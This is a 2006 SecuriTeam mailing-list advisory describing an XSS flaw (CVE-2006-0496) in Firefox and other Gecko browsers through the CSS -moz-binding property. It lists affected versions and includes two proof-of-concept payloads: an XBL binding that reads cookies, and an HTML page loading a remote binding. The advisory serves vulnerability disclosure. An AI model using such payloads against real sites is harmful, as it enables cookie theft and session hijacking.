[NEWS] Gecko Based Browsers -moz-binding XSS
- From: SecuriTeam <support@xxxxxxxxxxxxxx>
- Date: 5 Feb 2006 14:06:21 +0200
The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion
The SecuriTeam alerts list - Free, Accurate, Independent.
Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html
- - - - - - - - -
Gecko Based Browsers -moz-binding XSS
------------------------------------------------------------------------
SUMMARY
" <http://www.mozilla.org/projects/xbl/xbl.html> XBL is a markup language
for describing bindings that can be attached to elements in other
documents." "The value of the
<http://www.mozilla.org/projects/xbl/xbl.html#attach-css> -moz-binding
property is a set of URLs that identify specific bindings. An individual
URL in the set consists of the binding document's URL and the binding's
document-unique identifier."
By crafting special XBL code, attackers can execute XSS using the
-moz-binding option on Gecko based web browsers.
DETAILS
Vulnerable Systems:
* Mozilla Firefox 1.5 and prior
* Mozilla Firefox 1.0 and above
* Netscape version 8.1 and prior
* Mozilla Suite version 1.7.12 and prior
* Mozilla Seamonkey 1.0
Gecko based browsers uses the CSS option -moz-binding in order to bind XBL
code from additional locations including remote hosts.
Attackers can use the -moz-binding option in order to inject Javascript
code and to perform a cross site scripting attack from remote location.
Proof of Concept:
Cookie reading:
< !--
this must be served with Content-type: text/xml or similar
-- >
< bindings>
< binding id="exploit">
< implementation>
< constructor>
//
function exploitMe( element ) {
element.innerHTML = "Attempting to read cookie
data...";
var data;
try {
data = document.cookie || "No cookie data.";
} catch( e ) {
data = "Unable to read cookie."
}
element.innerHTML = data;
element.style.color = "green";
}
exploitMe( this );
//
< / constructor>
< / implementation>
< / binding>
< / bindings>
Remote loading of script file:
< ! DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
< html xmlns="http://www.w3.org/1999/xhtml">
< head>
< meta http-equiv="Content-Type" content="text/html;
charset=utf-8" />
< title>Cookie Exploit< /title>
< / head>
< body>
< h1>Cookie Exploit using CSS< / h1>
< p style="color: red; -moz-binding:
url(https://bugzilla.mozilla.org/attachment.cgi?id=209238#exploit);
behavior: url(https://bugzilla.mozilla.org/attachment.cgi?id=209240);">
This is a paragraph with inline exploit CSS.
The CSS executes JavaScript that can read cookies.
< / p>
< / body>
< / html>
CVE Information:
<http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-0496>
CVE-2006-0496
Disclosure Timeline:
1-Feb-2006 - Vulnerability researched and confirmed
2-Feb-2006 - Detailed research
2-Feb-2006 - Vendor contacted
2-Feb-2006 - Security companies and several CERT units contacted
ADDITIONAL INFORMATION
The information has been provided by <mailto:juha-matti.laurio@xxxxxxxx>
Juha-Matti Laurio.
The bug report can be found at:
<https://bugzilla.mozilla.org/show_bug.cgi?id=324253>
https://bugzilla.mozilla.org/show_bug.cgi?id=324253
A blog about the vulnerability can be found at:
<http://community.livejournal.com/lj_dev/708069.html>
http://community.livejournal.com/lj_dev/708069.html
========================================
This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@xxxxxxxxxxxxxx
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@xxxxxxxxxxxxxx
====================
====================
DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.
- Prev by Date: [NT] Internet Explorer 7.0 Beta 2 urlmon.dll Buffer Overflow
- Next by Date: [TOOL] BSS (Bluetooth Stack Smasher) Fuzzer
- Previous by thread: [NT] Internet Explorer 7.0 Beta 2 urlmon.dll Buffer Overflow
- Next by thread: [TOOL] BSS (Bluetooth Stack Smasher) Fuzzer
- Index(es):
Relevant Pages
- [NEWS] XBL Implementation Allows Script Execution (Gecko)
... The following security advisory is sent to the securiteam mailing list, and can be
found at the SecuriTeam web site: http://www.securiteam.com ... Bindings can be attached
to elements using either cascading ... * Mozilla Suite and Email client version 1.7.8 and
prior ... (Securiteam) - [UNIX] Wordpress Cookie Integrity Protection Vulnerability
... The following security advisory is sent to the securiteam mailing list, and can be
found at the SecuriTeam web site: http://www.securiteam.com ... Wordpress Cookie Integrity
Protection Vulnerability ... USERNAME: The username for the authenticated user ...
(Securiteam) - [NT] Citrix NetScaler Web Management Cookie Weakness
... The following security advisory is sent to the securiteam mailing list, and can be
found at the SecuriTeam web site: http://www.securiteam.com ... Citrix NetScaler Web Management
Cookie Weakness ... the attacker might be able to impersonate the user for the duration
... plaintext information stored by it by using a chosen plaintext attack. ... (Securiteam) - [NEWS] Multiple Vendor HTTP User Agent Cookie Path Traversal Issue
... The following security advisory is sent to the securiteam mailing list, and can be
found at the SecuriTeam web site: http://www.securiteam.com ... The cookie specifications detail
a path argument that can be used to ... and standard encoding techniques the path restriction
functionality can be ... (Securiteam) - [NEWS] Buffer Overflow in Mozilla Browser Firefox (Heap Corruption)
... The following security advisory is sent to the securiteam mailing list, and can be
found at the SecuriTeam web site: http://www.securiteam.com ... corruption in the Mozilla browser
as well as in Mozilla Firefox, ... The vulnerability specifically exists in string handling
functions, ... pointing at a known memory location. ... (Securiteam)